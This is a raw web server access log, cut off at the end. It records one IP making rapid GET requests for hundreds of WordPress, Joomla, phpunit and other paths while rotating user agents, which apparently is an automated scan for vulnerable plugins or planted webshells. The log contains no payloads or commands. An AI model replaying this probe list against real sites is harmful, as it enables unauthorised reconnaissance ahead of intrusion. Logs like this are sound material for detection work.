- - [03/Feb/2026:10:57:50 +0300] "GET /cache/h/a/h/e/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:51 +0300] "GET /wp-content/plugins/azra-tn/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:51 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:57:51 +0300] "GET /wp-content/plugins/3asba/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:51 +0300] "GET /wp-content/uploads/gravity_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.8 - - [03/Feb/2026:10:57:52 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:57:52 +0300] "GET /update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:57:52 +0300] "GET /wordpress/wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:52 +0300] "GET /wp-content/plugins/email-subscribers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:57:53 +0300] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:53 +0300] "GET /wp-content/plugins/litespeed-cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:57:53 +0300] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:53 +0300] "GET /cgi_bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:54 +0300] "GET /wp-content/plugins/exe/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:54 +0300] "GET /user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:54 +0300] "GET /moodle/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:54 +0300] "GET /controllers/wizard/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:55 +0300] "GET /proyectoweb/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:57:55 +0300] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:57:55 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:55 +0300] "GET /wp-content/plugins/wp-catcher/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:57:56 +0300] "GET /portal/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:56 +0300] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:57 +0300] "GET /wp-content/plugins/gizitib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:57 +0300] "GET /wp-content/plugins/ioptimization/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:57 +0300] "GET /extracte_wordprees/dirfunc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:57 +0300] "GET /wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:58 +0300] "GET /rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:58 +0300] "GET /l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:57:59 +0300] "GET /wordpress/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:59 +0300] "GET /wordpress/wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:59 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:58:00 +0300] "GET /Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:00 +0300] "GET /wp-content/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:00 +0300] "GET /wordpress/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:01 +0300] "GET /wp-includes/Text/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:58:01 +0300] "GET /wordpress/wp-content/plugins/rex/l/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:01 +0300] "GET /wordpress/wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:01 +0300] "GET /wp-includes/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:02 +0300] "GET /admin/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:58:02 +0300] "GET /static/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:02 +0300] "GET /www/modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:03 +0300] "GET /newtab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:03 +0300] "GET /cgi-sys/ HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.8 - - [03/Feb/2026:10:58:03 +0300] "GET /includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:58:04 +0300] "GET /js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:04 +0300] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:04 +0300] "GET /block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:04 +0300] "GET /default/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:58:05 +0300] "GET /pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:05 +0300] "GET /css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:05 +0300] "GET /block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:06 +0300] "GET /themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:06 +0300] "GET /media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:58:06 +0300] "GET /Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:06 +0300] "GET /maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:07 +0300] "GET /Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:58:07 +0300] "GET /SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:08 +0300] "GET /css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:58:08 +0300] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:08 +0300] "GET /widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.8 - - [03/Feb/2026:10:58:09 +0300] "GET /themes/scapeshot/includes/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:09 +0300] "GET /atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:09 +0300] "GET /themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:10 +0300] "GET /theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 - - [03/Feb/2026:10:58:10 +0300] "GET /aa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:10 +0300] "GET /network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:11 +0300] "GET /customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:11 +0300] "GET /certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:11 +0300] "GET /blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.8 - - [03/Feb/2026:10:58:11 +0300] "GET /IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:12 +0300] "GET /test/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 - - [03/Feb/2026:10:58:12 +0300] "GET /ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:58:13 +0300] "GET /uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:13 +0300] "GET /rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:13 +0300] "GET /themes/bltm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:13 +0300] "GET /themes/newstoday/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:58:14 +0300] "GET /css/dist/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:14 +0300] "GET /css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:14 +0300] "GET /images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:15 +0300] "GET /js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:15 +0300] "GET /maint/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:15 +0300] "GET /Requests/Transport/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:15 +0300] "GET /phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:16 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:58:16 +0300] "GET /themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 - - [03/Feb/2026:10:58:16 +0300] "GET /languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:17 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:17 +0300] "GET /well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:17 +0300] "GET /informasi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:17 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:18 +0300] "GET /uploads/2020/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:18 +0300] "GET /themes/rehub-theme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:58:18 +0300] "GET /phpmailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:18 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 - - [03/Feb/2026:10:58:19 +0300] "GET /products/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:19 +0300] "GET /themes/fitnessbase/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:19 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:20 +0300] "GET /joomla/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:20 +0300] "GET /images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:20 +0300] "GET /themes/calmly/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:58:20 +0300] "GET /php-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:21 +0300] "GET /Feature/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:21 +0300] "GET /docs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:22 +0300] "GET /images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 - - [03/Feb/2026:10:58:22 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:22 +0300] "GET /font/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:23 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:23 +0300] "GET /tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:58:23 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 - - [03/Feb/2026:10:58:24 +0300] "GET /js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:58:24 +0300] "GET /themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:58:24 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:58:25 +0300] "GET /themes/hello-element/ HTTP/1.1" 301 795 "-" 